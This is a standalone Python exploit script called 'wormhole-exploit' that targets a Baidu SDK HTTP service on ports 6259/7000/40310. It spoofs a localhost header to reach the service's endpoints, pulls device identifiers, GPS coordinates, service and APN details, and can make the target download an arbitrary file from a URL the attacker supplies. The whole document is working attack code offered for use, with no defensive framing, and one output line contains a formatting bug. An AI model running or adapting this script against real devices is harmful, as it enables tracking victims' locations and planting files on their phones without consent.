wormhole-exploit

wormhole-exploit.py

import requests
import click
import sys


def fail(reason):
    click.echo(click.style('[!] %s' % reason, fg='red'), err=True)
    sys.exit(111)


def warn(msg):
    click.echo(click.style('[+] %s' % msg, fg='red'), err=True)


def info(msg):
    click.echo(click.style('[#] %s' % msg, fg='blue'), err=True)


def success(msg):
    click.echo(click.style('[+] %s' % msg, fg='green'), err=True)


def request_wormhole(host, port, action, args={}):
    base_url = 'http://{host}:{port}/'.format(host=host, port=port)
    headers = {
        'remote-addr': '127.0.0.1',
        'referer': 'http://www.baidu.com/'
    }
    params = dict(mcmdf='inapp_')
    params.update(args)
    resp = requests.post(base_url + action, data=params, headers=headers)
    if resp.status_code == 200:
        json = resp.json()
        if json.get('error', 111) == 0:
            return json
        else:
            return dict()
    else:
        return dict()


@click.command()
@click.option('--host', default='127.0.0.1', help='target host')
@click.option('--port', default='6259', help='target port')
@click.option('--upload', default='', help='upload a file')
def main(host, port, upload):
    info('baidu wormhole exploit')
    info('exploit ports can be 6259/7000/40310')
    info('exploiting %s:%s' % (host, port))

    cuid = request_wormhole(host, port, 'getcuid')

    success('cuid %s' % cuid.get('cuid', 'n/a'))

    location = request_wormhole(host, port, 'geolocation')

    success('citycode: %s' % location.get('citycode', 'n/a'))
    if 'coords' in location:
        success('latitude: %s' % location['coords'].get('latitude'))
        success('longtitude: %s' % location['coords'].get('longitude'))
        success('accuracy: %s' % location['coords'].get('accuracy'))

    service = request_wormhole(host, port, 'getserviceinfo')
    success('service: %s' % (service.get('packagename'), '@',
                             service.get('version')))

    apn = request_wormhole(host, port, 'getapn')
    success('apn: %s' % apn.get('apn', 'n/a'))
    success(request_wormhole(host, port, 'scandownloadfile',
                             dict(savepath='Download', filesize=10)))

    if upload:
        params = dict(savepath='Download',
                      filesize=10,
                      querydown='download',
                      downloadurl=upload)
        result = request_wormhole(host, port, 'downloadfile', params)
        if result and result['error'] == 0:
            success('upload ok')
        else:
            warn('upload failed')

if __name__ == '__main__':
    info("-*- baidu wormhole exploit -*-")
    main()